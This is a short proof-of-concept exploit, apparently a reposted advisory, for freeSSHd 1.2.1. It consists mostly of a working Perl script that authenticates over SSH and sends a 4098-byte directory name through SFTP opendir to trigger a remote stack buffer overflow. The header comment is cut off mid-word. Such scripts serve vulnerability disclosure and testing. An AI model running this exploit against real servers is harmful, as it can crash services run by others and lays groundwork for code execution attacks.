[黑客新闻] freeSSHd 1.2.1 Remote Stack Overflow PoC (auth)

###############################################################################
# FreeSSHD remote Buffer Overflow
#
# Website: http://freesshd.com/
#
# Version:1.2.1
#
# Bug: Remote Buffer Overflow ( CD)
#
#First chance exceptions are repor


use strict;
use Net::SSH2;
my $ip="127.0.0.1";
my $port=22;
my $user="YOUR_USER";
my $pass="YOUR_PASS";
my $ssh2 = Net::SSH2->new();
my $payload ="A" x 4098;
$ssh2->connect($ip, $port) || die "could not connect";
$ssh2->auth_password($user,$pass)|| die "wrong passwd/login";
print "Poc running ...\n";
my $sftp = $ssh2->sftp();
my $dir = $sftp->opendir($payload);
print "Buffer Overflow Successfull\n";
$ssh2->disconnect();
exit;